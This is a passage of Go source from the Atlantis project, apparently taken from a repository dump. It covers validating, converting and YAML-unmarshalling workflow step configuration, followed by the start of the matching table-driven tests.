ShellArgsArgKey, e)\n\t\t\t\t}\n\t\t\t}\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"%q step %q option must be a string or a list of strings, found %v\",\n\t\t\t\tstepName, ShellArgsArgKey, t)\n\t\t}\n\t\tdelete(argMap, ShellArgsArgKey)\n\t\tdelete(argMap, ShellArgKey)\n\n\t\t// Validate keys per step type.\n\t\tswitch stepName {\n\t\tcase EnvStepName:\n\t\t\tfoundNameKey := false\n\t\t\tfor _, k := range argKeys {\n\t\t\t\tif k != NameArgKey &&\n\t\t\t\t\tk != CommandArgKey &&\n\t\t\t\t\tk != ValueArgKey &&\n\t\t\t\t\tk != ShellArgKey &&\n\t\t\t\t\tk != ShellArgsArgKey {\n\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\"env steps only support keys %q, %q, %q, %q and %q, found key %q\",\n\t\t\t\t\t\tNameArgKey,\n\t\t\t\t\t\tValueArgKey,\n\t\t\t\t\t\tCommandArgKey,\n\t\t\t\t\t\tShellArgKey,\n\t\t\t\t\t\tShellArgsArgKey,\n\t\t\t\t\t\tk,\n\t\t\t\t\t)\n\t\t\t\t}\n\t\t\t\tif k == NameArgKey {\n\t\t\t\t\tfoundNameKey = true\n\t\t\t\t}\n\t\t\t}\n\t\t\tdelete(argMap, CommandArgKey)\n\t\t\tif !foundNameKey {\n\t\t\t\treturn fmt.Errorf(\"env steps must have a %q key set\", NameArgKey)\n\t\t\t}\n\t\t\tdelete(argMap, NameArgKey)\n\t\t\tif utils.SlicesContains(argKeys, ValueArgKey) && utils.SlicesContains(argKeys, CommandArgKey) {\n\t\t\t\treturn fmt.Errorf(\"env steps only support one of the %q or %q keys, found both\",\n\t\t\t\t\tValueArgKey, CommandArgKey)\n\t\t\t}\n\t\t\tdelete(argMap, ValueArgKey)\n\t\tcase MultiEnvStepName:\n\t\t\tif _, ok := argMap[CommandArgKey].(string); !ok {\n\t\t\t\treturn fmt.Errorf(\"%q step must have a %q key set\", stepName, CommandArgKey)\n\t\t\t}\n\t\t\tdelete(argMap, CommandArgKey)\n\t\t\tif v, ok := argMap[OutputArgKey].(string); ok {\n\t\t\t\tswitch v {\n\t\t\t\tcase valid.PostProcessRunOutputShow,\n\t\t\t\t\tvalid.PostProcessRunOutputHide:\n\t\t\t\t\t// All good; do nothing\n\t\t\t\tdefault:\n\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\"multienv step %q option must be %q or %q\",\n\t\t\t\t\t\tOutputArgKey,\n\t\t\t\t\t\tvalid.PostProcessRunOutputShow,\n\t\t\t\t\t\tvalid.PostProcessRunOutputHide,\n\t\t\t\t\t)\n\t\t\t\t}\n\t\t\t}\n\t\t\tdelete(argMap, OutputArgKey)\n\t\tcase RunStepName:\n\t\t\tif _, ok := argMap[CommandArgKey].(string); !ok {\n\t\t\t\treturn fmt.Errorf(\"%q step must have a %q key set\", stepName, CommandArgKey)\n\t\t\t}\n\t\t\tdelete(argMap, CommandArgKey)\n\t\t\tif v, ok := argMap[OutputArgKey].(string); ok {\n\t\t\t\tswitch v {\n\t\t\t\tcase valid.PostProcessRunOutputShow,\n\t\t\t\t\tvalid.PostProcessRunOutputHide,\n\t\t\t\t\tvalid.PostProcessRunOutputStripRefreshing:\n\t\t\t\t\t// All good; do nothing\n\t\t\t\tdefault:\n\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\"run step %q option must be one of %q, %q, %q, or %q\",\n\t\t\t\t\t\tOutputArgKey,\n\t\t\t\t\t\tvalid.PostProcessRunOutputShow,\n\t\t\t\t\t\tvalid.PostProcessRunOutputHide,\n\t\t\t\t\t\tvalid.PostProcessRunOutputStripRefreshing,\n\t\t\t\t\t\tvalid.PostProcessRunOutputFilterRegexKey,\n\t\t\t\t\t)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif argMapVal, ok := argMap[OutputArgKey].(map[string]string); ok {\n\t\t\t\tfor k, v := range argMapVal {\n\t\t\t\t\tswitch stepName {\n\t\t\t\t\tcase RunStepName:\n\t\t\t\t\t\tswitch k {\n\t\t\t\t\t\tcase valid.PostProcessRunOutputFilterRegexKey:\n\t\t\t\t\t\t\t_, err := regexp.Compile(v)\n\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\t\t\t\"regex filter %q from run step %q option failed: %w\",\n\t\t\t\t\t\t\t\t\tOutputArgKey,\n\t\t\t\t\t\t\t\t\tv,\n\t\t\t\t\t\t\t\t\terr,\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\t\t\"run step %q option must be one of %q, %q, %q, or %q\",\n\t\t\t\t\t\t\t\tOutputArgKey,\n\t\t\t\t\t\t\t\tvalid.PostProcessRunOutputShow,\n\t\t\t\t\t\t\t\tvalid.PostProcessRunOutputHide,\n\t\t\t\t\t\t\t\tvalid.PostProcessRunOutputStripRefreshing,\n\t\t\t\t\t\t\t\tvalid.PostProcessRunOutputFilterRegexKey,\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t}\n\t\t\t\t\tcase MultiEnvStepName:\n\t\t\t\t\t\tswitch k {\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\t\t\"multienv step %q option must be %q or %q\",\n\t\t\t\t\t\t\t\tOutputArgKey,\n\t\t\t\t\t\t\t\tvalid.PostProcessRunOutputShow,\n\t\t\t\t\t\t\t\tvalid.PostProcessRunOutputHide,\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tdelete(argMap, OutputArgKey)\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"%q is not a valid step type\", stepName)\n\t\t}\n\n\t\tif len(argMap) > 0 {\n\t\t\tvar argKeys []string\n\t\t\tfor k := range argMap {\n\t\t\t\targKeys = append(argKeys, k)\n\t\t\t}\n\t\t\t// Sort so tests can be deterministic.\n\t\t\tsort.Strings(argKeys)\n\t\t\treturn fmt.Errorf(\"%q steps only support keys %q, %q, %q and %q, found extra keys %q\",\n\t\t\t\tstepName, CommandArgKey, OutputArgKey, ShellArgKey, ShellArgsArgKey, strings.Join(argKeys, \",\"))\n\t\t}\n\n\t\treturn nil\n\t}\n\n\trunOrMultiEnvStep := func(value any) error {\n\t\telem := value.(map[string]string)\n\t\tvar keys []string\n\t\tfor k := range elem {\n\t\t\tkeys = append(keys, k)\n\t\t}\n\t\t// Sort so tests can be deterministic.\n\t\tsort.Strings(keys)\n\n\t\tif len(keys) > 1 {\n\t\t\treturn fmt.Errorf(\"step element can only contain a single key, found %d: %s\",\n\t\t\t\tlen(keys), strings.Join(keys, \",\"))\n\t\t}\n\t\tfor stepName := range elem {\n\t\t\tif stepName != RunStepName && stepName != MultiEnvStepName {\n\t\t\t\treturn fmt.Errorf(\"%q is not a valid step type\", stepName)\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\tif s.Key != nil {\n\t\treturn validation.Validate(s.Key, validation.By(validStep))\n\t}\n\tif len(s.Map) > 0 {\n\t\treturn validation.Validate(s.Map, validation.By(extraArgs))\n\t}\n\tif len(s.CommandMap) > 0 {\n\t\treturn validation.Validate(s.CommandMap, validation.By(envOrRunOrMultiEnvStep))\n\t}\n\tif len(s.StringVal) > 0 {\n\t\treturn validation.Validate(s.StringVal, validation.By(runOrMultiEnvStep))\n\t}\n\treturn errors.New(\"step element is empty\")\n}\n\nfunc (s Step) ToValid() valid.Step {\n\t// This will trigger in case #1 (see Step docs).\n\tif s.Key != nil {\n\t\treturn valid.Step{\n\t\t\tStepName: *s.Key,\n\t\t}\n\t}\n\n\t// This will trigger in case #2 (see Step docs).\n\tif len(s.CommandMap) > 0 {\n\t\t// After validation we assume there's only one key and it's a valid\n\t\t// step name so we just use the first one.\n\t\tfor stepName, stepArgs := range s.CommandMap {\n\t\t\tstep := valid.Step{StepName: stepName}\n\t\t\tif name, ok := stepArgs[NameArgKey].(string); ok {\n\t\t\t\tstep.EnvVarName = name\n\t\t\t}\n\t\t\tif command, ok := stepArgs[CommandArgKey].(string); ok {\n\t\t\t\tstep.RunCommand = command\n\t\t\t}\n\t\t\tif value, ok := stepArgs[ValueArgKey].(string); ok {\n\t\t\t\tstep.EnvVarValue = value\n\t\t\t}\n\t\t\tif shell, ok := stepArgs[ShellArgKey].(string); ok {\n\t\t\t\tstep.RunShell = &valid.CommandShell{\n\t\t\t\t\tShell:     shell,\n\t\t\t\t\tShellArgs: []string{\"-c\"},\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tswitch output := stepArgs[OutputArgKey].(type) {\n\t\t\tcase string:\n\t\t\t\tstep.Output = append(step.Output, valid.PostProcessRunOutputOption(output))\n\t\t\tcase []string:\n\t\t\t\tfor _, value := range output {\n\t\t\t\t\tif !slices.Contains(step.Output, valid.PostProcessRunOutputOption(value)) {\n\t\t\t\t\t\tstep.Output = append(step.Output, valid.PostProcessRunOutputOption(value))\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\tcase []any:\n\t\t\t\tfor _, value := range output {\n\t\t\t\t\tswitch v := value.(type) {\n\t\t\t\t\tcase string:\n\t\t\t\t\t\tstep.Output = append(step.Output, valid.PostProcessRunOutputOption(v))\n\t\t\t\t\tcase map[string]any:\n\t\t\t\t\t\tfor key, value := range v {\n\t\t\t\t\t\t\tif !slices.Contains(step.Output, valid.PostProcessRunOutputOption(key)) {\n\t\t\t\t\t\t\t\tstep.Output = append(step.Output, valid.PostProcessRunOutputOption(key))\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif key == valid.PostProcessRunOutputFilterRegexKey {\n\t\t\t\t\t\t\t\tswitch t := value.(type) {\n\t\t\t\t\t\t\t\tcase string:\n\t\t\t\t\t\t\t\t\tr := regexp.MustCompile(t)\n\t\t\t\t\t\t\t\t\tstep.FilterRegexes = append(step.FilterRegexes, r)\n\t\t\t\t\t\t\t\tcase []string:\n\t\t\t\t\t\t\t\t\tfor _, e := range t {\n\t\t\t\t\t\t\t\t\t\tr := regexp.MustCompile(e)\n\t\t\t\t\t\t\t\t\t\tstep.FilterRegexes = append(step.FilterRegexes, r)\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif step.StepName == RunStepName && len(step.Output) == 0 {\n\t\t\t\tstep.Output = append(step.Output, valid.PostProcessRunOutputShow)\n\t\t\t}\n\n\t\t\tswitch t := stepArgs[ShellArgsArgKey].(type) {\n\t\t\tcase nil:\n\t\t\tcase string:\n\t\t\t\tstep.RunShell.ShellArgs = strings.Split(t, \" \")\n\t\t\tcase []any:\n\t\t\t\tstep.RunShell.ShellArgs = []string{}\n\t\t\t\tfor _, e := range t {\n\t\t\t\t\tstep.RunShell.ShellArgs = append(step.RunShell.ShellArgs, e.(string))\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn step\n\t\t}\n\t}\n\n\t// This will trigger in case #3 (see Step docs).\n\tif len(s.Map) > 0 {\n\t\t// After validation we assume there's only one key and it's a valid\n\t\t// step name so we just use the first one.\n\t\tfor stepName, stepArgs := range s.Map {\n\t\t\treturn valid.Step{\n\t\t\t\tStepName:  stepName,\n\t\t\t\tExtraArgs: stepArgs[ExtraArgsKey],\n\t\t\t}\n\t\t}\n\t}\n\n\t// This will trigger in case #4 (see Step docs).\n\tif len(s.StringVal) > 0 {\n\t\t// After validation we assume there's only one key and it's a valid\n\t\t// step name so we just use the first one.\n\t\tfor stepName, v := range s.StringVal {\n\t\t\treturn valid.Step{\n\t\t\t\tStepName:   stepName,\n\t\t\t\tRunCommand: v,\n\t\t\t}\n\t\t}\n\t}\n\n\tpanic(\"step was not valid. This is a bug!\")\n}\n\n// unmarshalGeneric is used by UnmarshalJSON and UnmarshalYAML to unmarshal\n// a step into one of its three forms. We need to implement a custom unmarshal\n// function because steps can either be:\n// 1. a built-in step: \" - init\"\n// 2. a built-in step with extra_args: \" - init: {extra_args: [arg1] }\"\n// 3. a custom run step: \" - run: my custom command\"\n// It takes a parameter unmarshal that is a function that tries to unmarshal\n// the current element into a given object.\nfunc (s *Step) unmarshalGeneric(unmarshal func(any) error) error {\n\n\t// First try to unmarshal as a single string, ex.\n\t// steps:\n\t// - init\n\t// - plan\n\t// We validate if it's a legal string later.\n\tvar singleString string\n\terr := unmarshal(&singleString)\n\tif err == nil {\n\t\ts.Key = &singleString\n\t\treturn nil\n\t}\n\n\t// Try to unmarshal as a custom run step, ex.\n\t// steps:\n\t//   - run: my command\n\t// We validate if the key is run later.\n\tvar runStep map[string]string\n\terr = unmarshal(&runStep)\n\tif err == nil {\n\t\ts.StringVal = runStep\n\t\treturn nil\n\t}\n\n\t// This represents a step with extra_args, ex:\n\t//   init:\n\t//     extra_args: [a, b]\n\t// We validate if there's a single key in the map and if the value is a\n\t// legal value later.\n\tvar step map[string]map[string][]string\n\terr = unmarshal(&step)\n\tif err == nil {\n\t\ts.Map = step\n\t\treturn nil\n\t}\n\n\t// This represents a command steps env, run, and multienv, ex:\n\t// steps:\n\t//   - env:\n\t//       name: k\n\t//       command: exec\n\t//   - run:\n\t//       name: test_bash_command\n\t//       command: echo ${test_value::7}\n\t//       shell: bash\n\t//       shellArgs: [\"--verbose\", \"-c\"]\n\tvar commandStep map[string]map[string]any\n\terr = unmarshal(&commandStep)\n\tif err == nil {\n\t\ts.CommandMap = commandStep\n\t\treturn nil\n\t}\n\n\treturn err\n}\n\nfunc (s Step) marshalGeneric() (any, error) {\n\tif len(s.StringVal) != 0 {\n\t\treturn s.StringVal, nil\n\t} else if len(s.Map) != 0 {\n\t\treturn s.Map, nil\n\t} else if len(s.CommandMap) != 0 {\n\t\treturn s.CommandMap, nil\n\t} else if s.Key != nil {\n\t\treturn s.Key, nil\n\t}\n\n\t// empty step should be marshalled to null, although this is generally\n\t// unexpected behavior.\n\treturn nil, nil\n}\n"
  },
  {
    "path": "server/core/config/raw/step_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw_test\n\nimport (\n\t\"regexp\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\tyaml \"gopkg.in/yaml.v3\"\n)\n\nfunc TestStepConfig_YAMLMarshalling(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       string\n\t\texp         raw.Step\n\t\texpErr      string\n\t}{\n\n\t\t// Single string.\n\t\t{\n\t\t\tdescription: \"single string\",\n\t\t\tinput:       `astring`,\n\t\t\texp: raw.Step{\n\t\t\t\tKey: String(\"astring\"),\n\t\t\t},\n\t\t},\n\n\t\t// MapType i.e. extra_args style.\n\t\t{\n\t\t\tdescription: \"extra_args style\",\n\t\t\tinput: `\nkey:\n  mapValue: [arg1, arg2]`,\n\t\t\texp: raw.Step{\n\t\t\t\tMap: MapType{\n\t\t\t\t\t\"key\": {\n\t\t\t\t\t\t\"mapValue\": {\"arg1\", \"arg2\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"extra_args style multiple keys\",\n\t\t\tinput: `\nkey:\n  mapValue: [arg1, arg2]\n  value2: []`,\n\t\t\texp: raw.Step{\n\t\t\t\tMap: MapType{\n\t\t\t\t\t\"key\": {\n\t\t\t\t\t\t\"mapValue\": {\"arg1\", \"arg2\"},\n\t\t\t\t\t\t\"value2\":   {},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"extra_args style multiple top-level keys\",\n\t\t\tinput: `\nkey:\n  val1: []\nkey2:\n  val2: []`,\n\t\t\texp: raw.Step{\n\t\t\t\tMap: MapType{\n\t\t\t\t\t\"key\": {\n\t\t\t\t\t\t\"val1\": {},\n\t\t\t\t\t},\n\t\t\t\t\t\"key2\": {\n\t\t\t\t\t\t\"val2\": {},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t// Env steps\n\t\t{\n\t\t\tdescription: \"env step value\",\n\t\t\tinput: `\nenv:\n  value: direct_value\n  name: test`,\n\t\t\texp: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"env\": {\n\t\t\t\t\t\t\"value\": \"direct_value\",\n\t\t\t\t\t\t\"name\":  \"test\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"env step command\",\n\t\t\tinput: `\nenv:\n  command: echo 123\n  name: test`,\n\t\t\texp: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"env\": {\n\t\t\t\t\t\t\"command\": \"echo 123\",\n\t\t\t\t\t\t\"name\":    \"test\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\n\t\t// Run-step style\n\t\t{\n\t\t\tdescription: \"run step\",\n\t\t\tinput: `\nrun: my command`,\n\t\t\texp: raw.Step{\n\t\t\t\tStringVal: map[string]string{\n\t\t\t\t\t\"run\": \"my command\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"run step multiple top-level keys\",\n\t\t\tinput: `\nrun: my command\nkey: value`,\n\t\t\texp: raw.Step{\n\t\t\t\tStringVal: map[string]string{\n\t\t\t\t\t\"run\": \"my command\",\n\t\t\t\t\t\"key\": \"value\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\n\t\t// Empty\n\t\t{\n\t\t\tdescription: \"empty\",\n\t\t\tinput:       \"\",\n\t\t\texp: raw.Step{\n\t\t\t\tKey:        nil,\n\t\t\t\tMap:        nil,\n\t\t\t\tStringVal:  nil,\n\t\t\t\tCommandMap: nil,\n\t\t\t},\n\t\t},\n\n\t\t// Errors\n\t\t{\n\t\t\tdescription: \"extra args style no map strings\",\n\t\t\tinput: `\nkey:\n - value:\n     another: map`,\n\t\t\texpErr: \"yaml: unmarshal errors:\\n  line 3: cannot unmarshal !!seq into map[string]interface {}\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tvar got raw.Step\n\t\t\terr := unmarshalString(c.input, &got)\n\t\t\tif c.expErr != \"\" {\n\t\t\t\tErrEquals(t, c.expErr, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, got)\n\n\t\t\t_, err = yaml.Marshal(got)\n\t\t\tOk(t, err)\n\n\t\t\tvar got2 raw.Step\n\t\t\terr = unmarshalString(c.input, &got2)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, got2, got)\n\t\t})\n\t}\n}\n\nfunc TestStep_Validate(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.Step\n\t\texpErr      string\n\t}{\n\t\t// Valid inputs.\n\t\t{\n\t\t\tdescription: \"init step\",\n\t\t\tinput: raw.Step{\n\t\t\t\tKey: String(\"init\"),\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"plan step\",\n\t\t\tinput: raw.Step{\n\t\t\t\tKey: String(\"plan\"),\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"apply step\",\n\t\t\tinput: raw.Step{\n\t\t\t\tKey: String(\"apply\"),\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"init extra_args\",\n\t\t\tinput: raw.Step{\n\t\t\t\tMap: MapType{\n\t\t\t\t\t\"init\": {\n\t\t\t\t\t\t\"extra_args\": []string{\"arg1\", \"arg2\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"plan extra_args\",\n\t\t\tinput: raw.Step{\n\t\t\t\tMap: MapType{\n\t\t\t\t\t\"plan\": {\n\t\t\t\t\t\t\"extra_args\": []string{\"arg1\", \"arg2\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"env\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"env\": {\n\t\t\t\t\t\t\"name\":    \"test\",\n\t\t\t\t\t\t\"command\": \"echo 123\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"env shell\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"env\": {\n\t\t\t\t\t\t\"name\":    \"test\",\n\t\t\t\t\t\t\"command\": \"echo 123\",\n\t\t\t\t\t\t\"shell\":   \"bash\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"env shellArgs string\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"env\": {\n\t\t\t\t\t\t\"name\":      \"test\",\n\t\t\t\t\t\t\"command\":   \"echo 123\",\n\t\t\t\t\t\t\"shell\":     \"bash\",\n\t\t\t\t\t\t\"shellArgs\": \"-c\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"env shellArgs list of strings\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"env\": {\n\t\t\t\t\t\t\"name\":      \"test\",\n\t\t\t\t\t\t\"command\":   \"echo 123\",\n\t\t\t\t\t\t\"shell\":     \"bash\",\n\t\t\t\t\t\t\"shellArgs\": []any{\"-c\", \"--debug\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"apply extra_args\",\n\t\t\tinput: raw.Step{\n\t\t\t\tMap: MapType{\n\t\t\t\t\t\"apply\": {\n\t\t\t\t\t\t\"extra_args\": []string{\"arg1\", \"arg2\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"run step\",\n\t\t\tinput: raw.Step{\n\t\t\t\tStringVal: map[string]string{\n\t\t\t\t\t\"run\": \"my command\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\n\t\t// Invalid inputs.\n\t\t{\n\t\t\tdescription: \"empty elem\",\n\t\t\tinput:       raw.Step{},\n\t\t\texpErr:      \"step element is empty\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"invalid step name\",\n\t\t\tinput: raw.Step{\n\t\t\t\tKey: String(\"invalid\"),\n\t\t\t},\n\t\t\texpErr: \"\\\"invalid\\\" is not a valid step type, maybe you omitted the 'run' key\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"multiple keys in map\",\n\t\t\tinput: raw.Step{\n\t\t\t\tMap: MapType{\n\t\t\t\t\t\"key1\": nil,\n\t\t\t\t\t\"key2\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"step element can only contain a single key, found 2: key1,key2\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"multiple keys in env\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"key1\": nil,\n\t\t\t\t\t\"key2\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"step element can only contain a single key, found 2: key1,key2\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"multiple keys in string val\",\n\t\t\tinput: raw.Step{\n\t\t\t\tStringVal: map[string]string{\n\t\t\t\t\t\"key1\": \"\",\n\t\t\t\t\t\"key2\": \"\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"step element can only contain a single key, found 2: key1,key2\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"invalid key in map\",\n\t\t\tinput: raw.Step{\n\t\t\t\tMap: MapType{\n\t\t\t\t\t\"invalid\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\\\"invalid\\\" is not a valid step type\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"invalid key in env\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"invalid\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\\\"invalid\\\" is not a valid step type\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"invalid key in string val\",\n\t\t\tinput: raw.Step{\n\t\t\t\tStringVal: map[string]string{\n\t\t\t\t\t\"invalid\": \"\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\\\"invalid\\\" is not a valid step type\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"non extra_arg key\",\n\t\t\tinput: raw.Step{\n\t\t\t\tMap: MapType{\n\t\t\t\t\t\"init\": {\n\t\t\t\t\t\t\"invalid\": nil,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"built-in steps only support a single extra_args key, found \\\"invalid\\\" in step init\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"non extra_arg key\",\n\t\t\tinput: raw.Step{\n\t\t\t\tMap: MapType{\n\t\t\t\t\t\"init\": {\n\t\t\t\t\t\t\"invalid\": nil,\n\t\t\t\t\t\t\"zzzzzzz\": nil,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"built-in steps only support a single extra_args key, found 2: invalid,zzzzzzz\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"env step with no name key set\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"env\": {\n\t\t\t\t\t\t\"value\": \"value\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"env steps must have a \\\"name\\\" key set\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"env step with invalid key\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"env\": {\n\t\t\t\t\t\t\"abc\":      \"\",\n\t\t\t\t\t\t\"invalid2\": \"\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"env steps only support keys \\\"name\\\", \\\"value\\\", \\\"command\\\", \\\"shell\\\" and \\\"shellArgs\\\", found key \\\"abc\\\"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"env step with both command and value set\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"env\": {\n\t\t\t\t\t\t\"name\":    \"name\",\n\t\t\t\t\t\t\"command\": \"command\",\n\t\t\t\t\t\t\"value\":   \"value\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"env steps only support one of the \\\"value\\\" or \\\"command\\\" keys, found both\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"env step with shell set but not command\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"env\": {\n\t\t\t\t\t\t\"name\":  \"name\",\n\t\t\t\t\t\t\"shell\": \"bash\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"workflow steps only support \\\"shell\\\" key in combination with \\\"command\\\" key\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"env step with shellArgs set but not shell\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"env\": {\n\t\t\t\t\t\t\"name\":      \"name\",\n\t\t\t\t\t\t\"shellArgs\": \"-c\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"workflow steps only support \\\"shellArgs\\\" key in combination with \\\"shell\\\" key\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"run step with shellArgs is not list of strings\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"run\": {\n\t\t\t\t\t\t\"name\":      \"name\",\n\t\t\t\t\t\t\"command\":   \"echo\",\n\t\t\t\t\t\t\"shell\":     \"shell\",\n\t\t\t\t\t\t\"shellArgs\": []int{42, 42},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\\\"run\\\" step \\\"shellArgs\\\" option must be a string or a list of strings, found [42 42]\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"run step with shellArgs contain not strings\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"run\": {\n\t\t\t\t\t\t\"name\":      \"name\",\n\t\t\t\t\t\t\"command\":   \"echo\",\n\t\t\t\t\t\t\"shell\":     \"shell\",\n\t\t\t\t\t\t\"shellArgs\": []any{\"-c\", 42},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\\\"run\\\" step \\\"shellArgs\\\" option must contain only strings, found 42\",\n\t\t},\n\t\t{\n\t\t\t// For atlantis.yaml v2, this wouldn't parse, but now there should\n\t\t\t// 